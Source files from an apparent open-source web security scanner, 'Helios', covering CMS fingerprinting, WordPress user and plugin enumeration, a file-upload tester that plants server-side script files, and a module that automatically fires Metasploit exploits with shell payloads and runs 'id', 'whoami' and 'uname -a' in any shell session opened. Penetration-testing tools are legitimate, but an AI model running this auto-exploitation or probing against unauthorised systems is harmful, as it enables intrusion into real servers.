| -------------------------------------------------------------------------------- /ext/libcms/scanners/cms_scanner.py: -------------------------------------------------------------------------------- 1 | import time 2 | import requests 3 | import os 4 | import logging 5 | import sys 6 | 7 | class Scanner: 8 | # set frequency for update call 9 | update_frequency = 0 10 | name = "" 11 | aggressive = False 12 | last_update = 0 13 | cache_dir = os.path.join(os.path.dirname(__file__), 'cache') 14 | logger = None 15 | updates = {} 16 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"} 17 | cookies = {} 18 | 19 | def get_version(self, url): 20 | return None 21 | 22 | def set_logger(self, log_level=logging.DEBUG): 23 | self.logger = logging.getLogger("CMS-%s" % self.name) 24 | self.logger.setLevel(log_level) 25 | ch = logging.StreamHandler(sys.stdout) 26 | ch.setLevel(log_level) 27 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 28 | ch.setFormatter(formatter) 29 | if not self.logger.handlers: 30 | self.logger.addHandler(ch) 31 | 32 | def update(self): 33 | pass 34 | 35 | def run(self, url): 36 | return {} 37 | 38 | def get_update_cache(self): 39 | if os.path.exists(self.cache_file('updates.txt')): 40 | self.logger.debug("Reading update cache") 41 | with open(self.cache_file('updates.txt'), 'r') as f: 42 | for x in f.read().strip().split('\n'): 43 | if len(x): 44 | scanner, last_update = x.split(':') 45 | self.updates[scanner] = int(last_update) 46 | else: 47 | self.logger.warning("There appears to be an error in the updates cache file") 48 | self.updates[self.name] = 0 49 | if self.name in self.updates: 50 | self.last_update = self.updates[self.name] 51 | else: 52 | self.updates[self.name] = time.time() 53 | else: 54 | self.logger.debug("No updates cache file found, creating empty one") 55 | self.updates[self.name] = time.time() 56 | 57 | def set_update_cache(self): 58 | self.logger.debug("Updating updates cache file") 59 | with open(self.cache_file('updates.txt'), 'w') as f: 60 | for x in self.updates: 61 | f.write("%s:%d\n" % (x, self.updates[x])) 62 | 63 | def cache_file(self, r): 64 | return os.path.join(self.cache_dir, r) 65 | 66 | def setup(self): 67 | if not os.path.exists(self.cache_dir): 68 | self.logger.info("Creating cache directory") 69 | os.mkdir(self.cache_dir) 70 | self.get_update_cache() 71 | if self.last_update + self.update_frequency < time.time(): 72 | self.last_update = time.time() 73 | self.updates[self.name] = time.time() 74 | self.update() 75 | self.set_update_cache() 76 | else: 77 | self.logger.debug("Database is up to date, skipping..") 78 | 79 | def match_versions(self, version, fixed_in): 80 | if version == fixed_in: 81 | return False 82 | parts_version = version.split('.') 83 | parts_fixed_in = fixed_in.split('.') 84 | 85 | if len(parts_version) <= len(parts_fixed_in): 86 | for x in range(len(parts_version)): 87 | if int(parts_version[x]) < int(parts_fixed_in[x]): 88 | return True 89 | if int(parts_version[x]) > int(parts_fixed_in[x]): 90 | return False 91 | return False 92 | 93 | else: 94 | for x in range(len(parts_fixed_in)): 95 | if int(parts_version[x]) < int(parts_fixed_in[x]): 96 | return True 97 | if int(parts_version[x]) > int(parts_fixed_in[x]): 98 | return False 99 | return False 100 | 101 | def get(self, url, data=None): 102 | if not data: 103 | result = requests.get(url, allow_redirects=False, headers=self.headers, cookies=self.cookies) 104 | return result 105 | else: 106 | result = requests.post(url, data=data, allow_redirects=False, headers=self.headers, cookies=self.cookies) 107 | return result 108 | -------------------------------------------------------------------------------- /core/login.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode 2 | import re 3 | import sys 4 | import logging 5 | import requests 6 | try: 7 | from urllib import parse 8 | except ImportError: 9 | import urlparse as parse 10 | 11 | 12 | class LoginAction: 13 | session_obj = None 14 | headers = {} 15 | cookies = {} 16 | logger = None 17 | 18 | def __init__(self, logger=logging.INFO): 19 | self.session_obj = requests.session() 20 | self.logger = logging.getLogger("Login") 21 | self.logger.setLevel(logger) 22 | ch = logging.StreamHandler(sys.stdout) 23 | ch.setLevel(logger) 24 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 25 | ch.setFormatter(formatter) 26 | self.logger.addHandler(ch) 27 | 28 | def basic_auth(self, up_str): 29 | value = b64encode(up_str.encode()).decode() 30 | header = "Basic %s" % value 31 | self.logger.info("Using header Authorization: %s" % header) 32 | self.headers['Authorization'] = header 33 | 34 | def login_form(self, url, data, headers={}): 35 | try: 36 | data = dict(parse.parse_qsl(data)) 37 | except Exception as e: 38 | self.logger.error("Login Error: login payload should be in urlencoded format: %s" % str(e)) 39 | return None 40 | 41 | for k in headers: 42 | self.headers[k] = headers[k] 43 | self.session_obj.get(url) 44 | self.logger.debug("Login payload: %s" % str(data)) 45 | return self.session_obj.post(url, data=data, headers=self.headers, allow_redirects=False) 46 | 47 | def login_form_csrf(self, url, data, headers={}, token_url=None): 48 | try: 49 | data = dict(parse.parse_qsl(data)) 50 | except Exception as e: 51 | self.logger.error("Login Error: login payload should be in urlencoded format: %s" % str(e)) 52 | return None 53 | if not token_url: 54 | token_url = url 55 | 56 | for k in headers: 57 | self.headers[k] = headers[k] 58 | 59 | page = self.session_obj.get(token_url) 60 | page_data = {} 61 | for x in re.findall('(<input.+?>)', page.text, re.IGNORECASE): 62 | n = re.search('name="(.+?)"', x, re.IGNORECASE) 63 | v = re.search('value="(.+?)"', x, re.IGNORECASE) 64 | if n and v: 65 | page_data[n.group(1)] = v.group(1) 66 | 67 | for custom in data: 68 | page_data[custom] = data[custom] 69 | self.logger.debug("Login payload: %s" % str(page_data)) 70 | return self.session_obj.post(url, data=page_data, headers=self.headers, allow_redirects=False) 71 | 72 | def pre_parse(self, options): 73 | headers = options.login_header 74 | if not options.login_type: 75 | return None 76 | self.logger.info("Running Login Sequence") 77 | if headers: 78 | try: 79 | for header in headers: 80 | s = header.split(':') 81 | key = s[0].strip() 82 | value = ':'.join(s[1:]) 83 | self.headers[key] = value 84 | except Exception as e: 85 | self.logger.warning("Login Error: Error processing headers: %s" % str(e)) 86 | 87 | if options.login_type == "basic": 88 | creds = options.login_creds 89 | if not creds: 90 | self.logger.error("Login Error: --login-creds is required for Basic Auth") 91 | return None 92 | self.basic_auth(creds) 93 | 94 | if options.login_type == "header": 95 | if not headers: 96 | self.logger.error("Login Error: at least one --login-header is required for Header Auth") 97 | return None 98 | 99 | token_url = options.token_url 100 | url = options.login_url 101 | data = options.login_data 102 | if not token_url: 103 | token_url = url 104 | try: 105 | if options.login_type == "form": 106 | return self.login_form(url=token_url, data=data) 107 | if options.login_type == "form-csrf": 108 | return self.login_form_csrf(url=url, data=data, token_url=token_url) 109 | except Exception as e: 110 | self.logger.error("Error in Login sequence: %s" % str(e)) 111 | -------------------------------------------------------------------------------- /core/modules.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import sys 4 | import json 5 | 6 | 7 | class CustomModuleLoader: 8 | folder = "" 9 | blacklist = ['module_base.py', '__init__.py'] 10 | modules = [] 11 | logger = None 12 | options = None 13 | writer = None 14 | scope = None 15 | sslverify = False 16 | headers = {} 17 | cookies = {} 18 | 19 | def __init__(self, folder='modules', blacklist=[], options=None, logger=logging.INFO, database=None, scope=None): 20 | self.blacklist.extend(blacklist) 21 | self.options = options 22 | self.folder = folder 23 | self.logger = logging.getLogger("CustomModuleLoader") 24 | self.logger.setLevel(logger) 25 | ch = logging.StreamHandler(sys.stdout) 26 | ch.setLevel(logger) 27 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 28 | ch.setFormatter(formatter) 29 | self.logger.addHandler(ch) 30 | self.logger.debug("Loading custom modules") 31 | self.scope = scope 32 | self.load_modules() 33 | self.writer = database 34 | 35 | def load(self, f): 36 | base = f.replace('.py', '') 37 | try: 38 | command_module = __import__("modules.%s" % base, fromlist=["modules"]) 39 | module = command_module.Module() 40 | if self.options: 41 | if 'all' not in self.options: 42 | for opt in module.module_types: 43 | if opt not in self.options: 44 | self.logger.debug("Disabling module %s because %s is not enabled" % (module.name, opt)) 45 | return 46 | else: 47 | if 'dangerous' in module.module_types: 48 | self.logger.debug( 49 | "Disabling script %s because dangerous flag is present, " 50 | "use --options all or add the dangerous flag to override" % ( 51 | module.name)) 52 | return 53 | module.scope = self.scope 54 | module.verify = self.sslverify 55 | module.headers = self.headers 56 | module.cookies = self.cookies 57 | self.modules.append(module) 58 | self.logger.debug("Enabled module: %s" % f) 59 | except ImportError as e: 60 | self.logger.warning("Error importing module:%s %s" % (f, str(e))) 61 | except Exception as e: 62 | self.logger.warning("Error loading module:%s %s" % (f, str(e))) 63 | 64 | def load_modules(self): 65 | for f in os.listdir(self.folder): 66 | if not f.endswith('.py'): 67 | continue 68 | if f in self.blacklist: 69 | continue 70 | self.load(f) 71 | 72 | def run_post(self, urltree, headers={}, cookies={}): 73 | output = [] 74 | for module in self.modules: 75 | if 1: 76 | if module.input == "urldata": 77 | for row in urltree: 78 | try: 79 | url, data = row 80 | self.logger.debug("Running module %s on url: %s" % (module.name, url)) 81 | results = module.run(url, data, headers, cookies) 82 | if results and len(results): 83 | for r in results: 84 | if self.writer: 85 | self.writer.put(result_type="Module - Adv", script=module.name, 86 | severity=module.severity, text=json.dumps(r)) 87 | self.logger.info("Module %s Discovered %s" % (module.name, r)) 88 | output.extend([module.name, r]) 89 | except Exception as e: 90 | self.logger.warning("Error executing module %s on %s %s: %s" % (module.name, url, data, str(e))) 91 | if module.input == "urls": 92 | self.logger.debug("Running module %s on %d urls" % (module.name, len(urltree))) 93 | try: 94 | results = module.run(urltree, headers, cookies) 95 | if results and len(results): 96 | for r in results: 97 | self.logger.info("Module %s Discovered %s" % (module.name, r)) 98 | if self.writer: 99 | self.writer.put(result_type="Module - Adv", script=module.name, 100 | severity=module.severity, text=json.dumps(r)) 101 | output.extend([module.name, r]) 102 | except Exception as e: 103 | self.logger.warning("Error executing module %s on urls: %s" % (module.name, str(e))) 104 | 105 | return output 106 | 107 | def base_crawler(self, base): 108 | output = [] 109 | for module in self.modules: 110 | if module.input == "base" and module.output == "crawler": 111 | self.logger.debug("Running pre-crawl module %s on base url %s" % (module.name, base)) 112 | results = module.run(base) 113 | output.extend(results) 114 | return output 115 | -------------------------------------------------------------------------------- /ext/libcms/scanners/wordpress.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import re 4 | import json 5 | 6 | import cms_scanner 7 | 8 | try: 9 | from urlparse import urljoin, urlparse 10 | except ImportError: 11 | from urllib.parse import urljoin, urlparse 12 | 13 | 14 | class Scanner(cms_scanner.Scanner): 15 | plugin_update_url = "https://data.wpscan.org/plugins.json" 16 | plugin_cache_file = "wordpress_plugins.json" 17 | 18 | version_update_url = "https://data.wpscan.org/wordpresses.json" 19 | version_cache_file = "wordpress_versions.json" 20 | 21 | def __init__(self): 22 | self.name = "wordpress" 23 | self.update_frequency = 3600 * 48 24 | 25 | def get_version(self, url): 26 | text = self.get(url) 27 | if text: 28 | version_check_1 = re.search(r'<meta name="generator" content="wordpress ([\d\.]+)', text.text, re.IGNORECASE) 29 | if version_check_1: 30 | self.logger.info("Detected %s version %s on %s trough generator tag" % (self.name, version_check_1.group(1), url)) 31 | return version_check_1.group(1) 32 | check2_url = urljoin(url, 'wp-admin.php') 33 | text = self.get(check2_url) 34 | if text: 35 | version_check_2 = re.search(r'wp-admin\.min\.css\?ver=([\d\.]+)', text.text, re.IGNORECASE) 36 | if version_check_2: 37 | self.logger.info("Detected %s version %s on %s trough admin css" % (self.name, version_check_2.group(1), url)) 38 | return version_check_2.group(1) 39 | self.logger.warning("Unable to detect %s version on url %s" % (self.name, url)) 40 | 41 | def run(self, base): 42 | self.set_logger() 43 | self.setup() 44 | 45 | version = self.get_version(base) 46 | info = self.get_version_info(version) 47 | 48 | disco = self.sub_discovery(base) 49 | 50 | plugins = self.read_plugins() 51 | plugin_data = {} 52 | vulns = {} 53 | self.logger.debug("Checking %s for %d plugins" % (base, len(plugins))) 54 | for plugin in plugins: 55 | plugin_version = self.get_plugin_version(base, plugin) 56 | if plugin_version: 57 | plugin_data[plugin] = plugin_version 58 | self.logger.debug("Got %s as version number for plugin %s" % (plugin_version, plugin)) 59 | p_vulns = self.get_vulns(plugin_version, plugins[plugin]) 60 | self.logger.info("Found %d vulns for plugin %s version %s" % (len(p_vulns), plugin, version)) 61 | vulns[plugin] = p_vulns 62 | return { 63 | 'version': version, 64 | 'plugins': plugin_data, 65 | 'plugin_vulns': vulns, 66 | 'version_vulns': info, 67 | 'discovery': disco 68 | } 69 | 70 | def get_vulns(self, version, plugin): 71 | vulns = [] 72 | for vuln in plugin['vulnerabilities']: 73 | if self.match_versions(version, vuln['fixed_in']): 74 | vulns.append(vuln) 75 | return vulns 76 | 77 | def get_version_info(self, version): 78 | data = "" 79 | with open(self.cache_file(self.version_cache_file), 'rb') as f: 80 | data = f.read().strip() 81 | json_data = json.loads(data) 82 | if version in json_data: 83 | return json_data[version] 84 | return None 85 | 86 | def sub_discovery(self, base): 87 | logins = [] 88 | get_users = self.get(urljoin(base, 'wp-json/wp/v2/users')) 89 | if get_users: 90 | result = json.loads(get_users.text) 91 | for user in result: 92 | user_id = user['id'] 93 | name = user['name'] 94 | login = user['slug'] 95 | logins.append({'id': user_id, 'username': login, 'name': name}) 96 | 97 | return {'users': logins} 98 | 99 | def read_plugins(self): 100 | try: 101 | plugins = {} 102 | with open(self.cache_file(self.plugin_cache_file), 'rb') as f: 103 | data = f.read().strip() 104 | json_data = json.loads(data) 105 | for x in json_data: 106 | if json_data[x]['popular'] or self.aggressive: 107 | plugins[x] = json_data[x] 108 | return plugins 109 | except Exception as e: 110 | self.logger.error("Error reading database file, cannot init plugin database: %s" % str(e)) 111 | return {} 112 | 113 | def get_plugin_version(self, base, plugin): 114 | plugin_readme_url = urljoin(base, 'wp-content/plugins/%s/readme.txt' % plugin) 115 | get_result = self.get(plugin_readme_url) 116 | if get_result and get_result.status_code == 200: 117 | self.logger.debug("Plugin %s exists, getting version from readme.txt" % plugin) 118 | text = get_result.text 119 | get_version = re.search(r'(?s)changelog.+?(\d+\.\d+(?:\.\d+)?)', text, re.IGNORECASE) 120 | if get_version: 121 | return get_version.group(1) 122 | return None 123 | 124 | def update(self): 125 | try: 126 | self.logger.info("Updating plugin files") 127 | data1 = self.get(self.plugin_update_url) 128 | with open(self.cache_file(self.plugin_cache_file), 'wb') as f: 129 | x = data1.content 130 | f.write(x) 131 | self.logger.info("Updating version files") 132 | data2 = self.get(self.version_update_url) 133 | with open(self.cache_file(self.version_cache_file), 'wb') as f: 134 | x = data2.content 135 | f.write(x) 136 | self.logger.info("Update complete") 137 | except Exception as e: 138 | self.logger.error("Error updating databases: %s" % str(e)) 139 | return 140 | -------------------------------------------------------------------------------- /ext/libcms/detector.py: -------------------------------------------------------------------------------- 1 | # cms-detector.py v0.1 / https://github.com/robwillisinfo/cms-detector.py 2 | # edit by stefan2200 3 | import requests 4 | 5 | 6 | # because I am too lazy to replace all the if statements 7 | class InvalidRequestObject: 8 | status_code = 404 9 | text = "" 10 | 11 | 12 | class CMSDetector: 13 | headers = {} 14 | cookies = {} 15 | 16 | def __init__(self, user_agent=None, headers={}, cookies={}): 17 | self.headers = headers 18 | self.cookies = cookies 19 | if user_agent: 20 | self.headers['User-Agent'] = user_agent 21 | 22 | def get(self, url): 23 | try: 24 | return requests.get(url, allow_redirects=False, headers=self.headers, cookies=self.cookies) 25 | except: 26 | return InvalidRequestObject() 27 | 28 | def scan_sub(self, base, path): 29 | if base.endswith('/'): 30 | base = base[:-1] 31 | url = "%s/%s/" % (base, path) 32 | result = self.get(url) 33 | # 2xx 34 | if result.status_code != 404 and "not found" not in result.text.lower(): 35 | return self.scan(url) 36 | return None 37 | 38 | def scan(self, base): 39 | if base.endswith('/'): 40 | base = base[:-1] 41 | wpLoginCheck = self.get(base + '/wp-login.php') 42 | if wpLoginCheck.status_code == 200 and "user_login" in wpLoginCheck.text and "404" not in wpLoginCheck.text: 43 | return "wordpress" 44 | wpAdminCheck = self.get(base + '/wp-admin') 45 | if wpAdminCheck.status_code == 200 and "user_login" in wpAdminCheck.text and "404" not in wpLoginCheck.text: 46 | return "wordpress" 47 | wpAdminUpgradeCheck = self.get(base + '/wp-admin/upgrade.php') 48 | if wpAdminUpgradeCheck.status_code == 200 and "404" not in wpAdminUpgradeCheck.text: 49 | return "wordpress" 50 | wpAdminReadMeCheck = self.get(base + '/readme.html') 51 | if wpAdminReadMeCheck.status_code == 200 and "404" not in wpAdminReadMeCheck.text: 52 | return "wordpress" 53 | 54 | #################################################### 55 | # Joomla Scans 56 | #################################################### 57 | 58 | joomlaAdminCheck = self.get(base + '/administrator/') 59 | if joomlaAdminCheck.status_code == 200 and "mod-login-username" in joomlaAdminCheck.text and "404" not in joomlaAdminCheck.text: 60 | return "joomla" 61 | 62 | joomlaReadMeCheck = self.get(base + '/readme.txt') 63 | if joomlaReadMeCheck.status_code == 200 and "joomla" in joomlaReadMeCheck.text and "404" not in joomlaReadMeCheck.text: 64 | return "joomla" 65 | 66 | joomlaTagCheck = self.get(base) 67 | if joomlaTagCheck.status_code == 200 and 'name="generator" content="Joomla' in joomlaTagCheck.text and "404" not in joomlaTagCheck.text: 68 | return "joomla" 69 | 70 | joomlaStringCheck = self.get(base) 71 | if joomlaStringCheck.status_code == 200 and "joomla" in joomlaStringCheck.text and "404" not in joomlaStringCheck.text: 72 | return "joomla" 73 | 74 | joomlaDirCheck = self.get(base + '/media/com_joomlaupdate/') 75 | if joomlaDirCheck.status_code == 403 and "404" not in joomlaDirCheck.text: 76 | return "joomla" 77 | 78 | #################################################### 79 | # Magento Scans 80 | #################################################### 81 | 82 | magentoAdminCheck = self.get(base + '/index.php/admin/') 83 | if magentoAdminCheck.status_code == 200 and 'login' in magentoAdminCheck.text and 'magento' in magentoAdminCheck.text and "404" not in magentoAdminCheck.text: 84 | return "magento" 85 | 86 | magentoRelNotesCheck = self.get(base + '/RELEASE_NOTES.txt') 87 | if magentoRelNotesCheck.status_code == 200 and 'magento' in magentoRelNotesCheck.text: 88 | return "magento" 89 | 90 | magentoCookieCheck = self.get(base + '/js/mage/cookies.js') 91 | if magentoCookieCheck.status_code == 200 and "404" not in magentoCookieCheck.text: 92 | return "magento" 93 | 94 | magStringCheck = self.get(base + '/index.php') 95 | if magStringCheck.status_code == 200 and '/mage/' in magStringCheck.text or 'magento' in magStringCheck.text: 96 | return "magento" 97 | 98 | magentoStylesCSSCheck = self.get(base + '/skin/frontend/default/default/css/styles.css') 99 | if magentoStylesCSSCheck.status_code == 200 and "404" not in magentoStylesCSSCheck.text: 100 | return "magento" 101 | 102 | mag404Check = self.get(base + '/errors/design.xml') 103 | if mag404Check.status_code == 200 and "magento" in mag404Check.text: 104 | return "magento" 105 | 106 | #################################################### 107 | # Drupal Scans 108 | #################################################### 109 | 110 | drupalReadMeCheck = self.get(base + '/readme.txt') 111 | if drupalReadMeCheck.status_code == 200 and 'drupal' in drupalReadMeCheck.text and '404' not in drupalReadMeCheck.text: 112 | return "drupal" 113 | 114 | drupalTagCheck = self.get(base) 115 | if drupalTagCheck.status_code == 200 and 'name="Generator" content="Drupal' in drupalTagCheck.text: 116 | return "drupal" 117 | 118 | drupalCopyrightCheck = self.get(base + '/core/COPYRIGHT.txt') 119 | if drupalCopyrightCheck.status_code == 200 and 'Drupal' in drupalCopyrightCheck.text and '404' not in drupalCopyrightCheck.text: 120 | return "drupal" 121 | 122 | drupalReadme2Check = self.get(base + '/modules/README.txt') 123 | if drupalReadme2Check.status_code == 200 and 'drupal' in drupalReadme2Check.text and '404' not in drupalReadme2Check.text: 124 | return "drupal" 125 | 126 | drupalStringCheck = self.get(base) 127 | if drupalStringCheck.status_code == 200 and 'drupal' in drupalStringCheck.text: 128 | return "drupal" 129 | 130 | return None 131 | -------------------------------------------------------------------------------- /modules/module_uploads.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | try: 4 | import urlparse 5 | except ImportError: 6 | import urllib.parse as urlparse 7 | import modules.module_base 8 | from core.utils import requests_response_to_dict, random_string 9 | from bs4 import BeautifulSoup 10 | 11 | 12 | class Module(modules.module_base.Base): 13 | 14 | def __init__(self): 15 | self.name = "File Uploads" 16 | self.input = "urls" 17 | self.injections = {} 18 | self.module_types = ['discovery'] 19 | self.output = "vulns" 20 | self.severity = 2 21 | self.needle = None 22 | 23 | def run(self, urls, headers={}, cookies={}): 24 | results = [] 25 | self.cookies = cookies 26 | self.headers = headers 27 | list_urls = [] 28 | for u in urls: 29 | if u[0].split('?')[0] not in list_urls: 30 | list_urls.append(u[0].split('?')[0]) 31 | 32 | for f in list_urls: 33 | working = 0 34 | result_fp = self.send(f, self.headers, self.cookies) 35 | if result_fp and self.scope.in_scope(result_fp.url): 36 | for upl_form in re.findall(r'(?s)(<form.+?multipart/form-data".+?</form>)', result_fp.text): 37 | try: 38 | post_body = {} 39 | soup = BeautifulSoup(upl_form, "lxml") 40 | f = soup.find('form') 41 | # if form has no action use current url instead 42 | action = urlparse.urljoin(result_fp.url, f['action']) if f.has_attr('action') else result_fp.url 43 | for frm_input in f.findAll('input'): 44 | if frm_input.has_attr('name') and frm_input.has_attr('type'): 45 | if frm_input['type'] == "file": 46 | post_body[frm_input['name']] = "{file}" 47 | else: 48 | post_body[frm_input['name']] = frm_input['value'] \ 49 | if frm_input.has_attr('value') else random_string(8) 50 | output, boundry = self.get_multipart_form_data(result_fp.url, post_body) 51 | 52 | self.headers['Content-Type'] = 'multipart/form-data; boundary=%s' % boundry 53 | send_post = self.send(action, params=None, data=output) 54 | if send_post and send_post.status_code == 200: 55 | result = self.find_needle(action) 56 | if result: 57 | results.append({'request': requests_response_to_dict(send_post), 58 | "match": "File was successfully uploaded to %s" % result}) 59 | except: 60 | pass 61 | 62 | return results 63 | 64 | def find_needle(self, url): 65 | if 'Content-Type' in self.headers: 66 | del self.headers['Content-Type'] 67 | filename, match, contents = self.needle 68 | common_dirs = ['uploads', 'upload', 'files', 'data', 'images', 'img', 'assets', 'cache'] 69 | root = urlparse.urljoin(url, '/') 70 | upath = '/'.join(url.split('/')[:-1]) + "/" 71 | for d in common_dirs: 72 | if root == url: 73 | break 74 | rpath = "%s%s/%s" % (root, d, filename) 75 | get = self.send(rpath, None, None) 76 | if get and get.status_code == 200 and match in get.text: 77 | return rpath 78 | for d in common_dirs: 79 | if upath == root: 80 | continue 81 | rpath = "%s%d/%s" % (upath, d, filename) 82 | get = self.send(rpath, None, None) 83 | if get and get.status_code == 200 and match in get.text: 84 | return rpath 85 | 86 | def get_multipart_form_data(self, url, post_data): 87 | output = "" 88 | boundry = "----WebKitFormBoundary%s" % random_string(15) 89 | output += "--" + boundry + "\r\n" 90 | for name in post_data: 91 | value = post_data[name] 92 | opt = '' 93 | 94 | if value == "{file}": 95 | outf = self.generate_file(url) 96 | self.needle = outf 97 | filename, match, contents = outf 98 | name = name + '"; filename="%s' % filename 99 | value = contents 100 | opt = 'Content-Type: \r\n' 101 | 102 | header = 'Content-Disposition: form-data; name="%s"\r\n' % name 103 | header += opt 104 | header += "\r\n" 105 | 106 | outstr = "%s%s\r\n" % (header, value) 107 | output += outstr 108 | output += "--" + boundry + "\r\n" 109 | output = output[:-2] + "--" 110 | return output, boundry.strip() 111 | 112 | def generate_file(self, url): 113 | filename = "upload.txt" 114 | match = random_string(8) 115 | contents = match 116 | if ".php" in url: 117 | filename = random_string(8) + ".php" 118 | match = random_string(8) 119 | contents = "<?php echo '%s'; ?>" % match 120 | 121 | if ".asp" in url: 122 | # also catches aspx 123 | filename = random_string(8) + ".asp" 124 | match = random_string(8) 125 | contents = '<%% Response.Write("%s") %%>' % match 126 | 127 | if ".jsp" in url: 128 | filename = random_string(8) + ".jsp" 129 | match = random_string(8) 130 | contents = '<%% out.print("%s"); %%>' % match 131 | 132 | return filename, match, contents 133 | 134 | def send(self, url, params, data): 135 | result = None 136 | headers = self.headers 137 | cookies = self.cookies 138 | try: 139 | if data: 140 | result = requests.post(url, params=params, data=data, 141 | headers=headers, cookies=cookies, verify=self.verify) 142 | else: 143 | result = requests.get(url, params=params, 144 | headers=headers, cookies=cookies, verify=self.verify) 145 | except Exception as e: 146 | pass 147 | return result 148 | -------------------------------------------------------------------------------- /ext/metamonster/meta_executor.py: -------------------------------------------------------------------------------- 1 | from concurrent.futures import ThreadPoolExecutor 2 | import time 3 | try: 4 | from Queue import Queue, Empty 5 | except ImportError: 6 | from queue import Queue, Empty 7 | 8 | class MetaExecutor: 9 | monster = None 10 | logger = None 11 | queue = None 12 | is_working = True 13 | port_min = 0 14 | port_max = 65535 15 | port_current = 0 16 | monitor = { 17 | 18 | } 19 | working = [] 20 | 21 | def __init__(self, monster, todo): 22 | self.monster = monster 23 | self.logger = self.monster.client.logger 24 | self.queue = Queue() 25 | self.port_min = int(self.monster.msf['settings']['shell_port_start']) 26 | self.port_current = int(self.monster.msf['settings']['shell_port_start']) 27 | self.port_max = int(self.monster.msf['settings']['shell_port_end']) 28 | available = self.port_max - self.port_min 29 | if len(todo) > available: 30 | self.logger.warning("The number of found exploits %d exceeds the max number of ports: %d") 31 | self.logger.info("Only using first %d exploits due to listen port limitations" % available) 32 | todo = todo[0:available-1] 33 | 34 | for entry in todo: 35 | self.queue.put(entry) 36 | 37 | def threadedExecutor(self, exploit): 38 | info = self.monster.client.request("module.info", ['exploits', exploit]) 39 | rank = info['rank'] 40 | 41 | if str(rank) not in self.monster.msf['settings']['min_success']: 42 | self.logger.debug("Exploit %s does not meet minimum required exploit rank" % exploit) 43 | return exploit, None 44 | 45 | if self.monster.msf['settings']['ignore_SRVHOST'] and 'SRVHOST' in info['options']: 46 | self.logger.debug("Exploit %s requires SRVHOST.. ignoring" % exploit) 47 | return exploit, None 48 | 49 | if self.monster.msf['settings']['ignore_privileged'] and info['privileged']: 50 | self.logger.debug("Exploit %s requires credentials (privileged).. ignoring" % exploit) 51 | return exploit, None 52 | 53 | payloads = self.monster.client.request("module.compatible_payloads", [exploit])['payloads'] 54 | selected_payload = None 55 | for payload in payloads: 56 | if self.monster.msf['settings']['shell_type'] in payload: 57 | selected_payload = payload 58 | break 59 | for payload in payloads: 60 | if not selected_payload: 61 | if self.monster.msf['settings']['shell_type_fallback'] in payload: 62 | selected_payload = payload 63 | break 64 | if not selected_payload: 65 | self.logger.debug("Exploit %s cannot find good payload" % exploit) 66 | return exploit, None 67 | 68 | listen_port = self.port_current 69 | self.port_current += 1 70 | options = self.parse_options(info['options']) 71 | options['PAYLOAD'] = selected_payload.strip() 72 | options['LPORT'] = listen_port 73 | options['TARGET'] = 0 74 | options['VERBOSE'] = True 75 | run_options = ','.join([str(key) + "=" + str(options[key]) for key in options]) 76 | self.logger.debug("Running exploit %s, payload=%s, settings=%s" % (exploit, selected_payload, run_options)) 77 | exec_result = self.monster.client.request("module.execute", ["exploit", "exploit/"+exploit, options]) 78 | if exec_result['job_id']: 79 | self.monitor[exec_result['job_id']] = exploit 80 | self.logger.debug("Started exploit %s" % exploit) 81 | time.sleep(5) 82 | else: 83 | self.logger.debug("Error starting exploit exploit %s" % exploit) 84 | 85 | def parse_options(self, options): 86 | params = self.monster.msf['parameters'] 87 | opt_set = {} 88 | for option in options: 89 | if option in params: 90 | opt_set[option.strip()] = params[option] 91 | if options[option]['required'] and not option in params: 92 | if 'default' in options[option]: 93 | opt_set[option] = options[option]['default'] 94 | else: 95 | self.logger.warning("%s is not set, setting to empty value" % option) 96 | opt_set[option] = "" 97 | return opt_set 98 | 99 | def parse_and_close(self, session_id, session_data): 100 | exploit = session_data['via_exploit'] 101 | self.logger.info("%s appears to have worked and has created a session" % exploit) 102 | if not self.monster.msf['settings']['gather_basic_info']: 103 | self.working.append([exploit, {}]) 104 | self.monster.client.request("session.stop", [session_id]) 105 | return 106 | else: 107 | if session_data['type'] == "shell": 108 | outputs = {} 109 | res = self.monster.client.request("session.shell_write", [session_id, 'id\n']) 110 | outputs['id'] = self.monster.client.request("session.shell_read", [session_id]) 111 | self.monster.client.request("session.shell_write", [session_id, 'whoami\n']) 112 | outputs['whoami'] = self.monster.client.request("session.shell_read", [session_id]) 113 | self.monster.client.request("session.shell_write", [session_id, 'uname -a\n']) 114 | outputs['uname'] = self.monster.client.request("session.shell_read", [session_id]) 115 | self.working.append([exploit, outputs]) 116 | self.monster.client.request("session.stop", [session_id]) 117 | 118 | def check_monitor(self): 119 | results = self.monster.client.request("session.list", []) 120 | if(len(results)): 121 | for session in results: 122 | self.parse_and_close(session, results[session]) 123 | 124 | def kill_all(self): 125 | for job_id in self.monster.client.request("job.list"): 126 | self.monster.client.request("job.stop", [job_id]) 127 | 128 | def start(self): 129 | 130 | while(self.is_working): 131 | if self.queue.empty(): 132 | self.logger.info("All modules started, waiting 10 seconds") 133 | time.sleep(10) 134 | self.check_monitor() 135 | self.kill_all() 136 | return self.working 137 | 138 | u = self.queue.get() 139 | self.threadedExecutor(u) 140 | self.check_monitor() 141 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Helios 3 | Multi-threaded open-source web application security scanner 4 | 5 | ## Supports Python 2.x and Python 3.x 6 | 7 | The current version can detect the following vulnerabilities: 8 | - SQL-Injections 9 | - Error Based 10 | - Boolean Based 11 | - Time Based 12 | - Cross-Site-Scripting 13 | - Reflected 14 | - Stored 15 | - File-inclusion 16 | - Local file inclusion 17 | - Remote file inclusion 18 | - File uploads 19 | - Command Injection 20 | - Backup-files 21 | - Generic error disclosure 22 | - Source code disclosure 23 | - Web application fingerprint 24 | - CMS Vulerability scanner for: 25 | - WordPress 26 | - Drupal 27 | - Joomla 28 | - Typo3 29 | - Textpattern 30 | - Magento 31 | - Subrion 32 | - CMS made simple 33 | - Concrete5 34 | - MODX Revolution 35 | - Automatic launching of Metasploit modules (through msfrpc) 36 | - unsafe at the moment 37 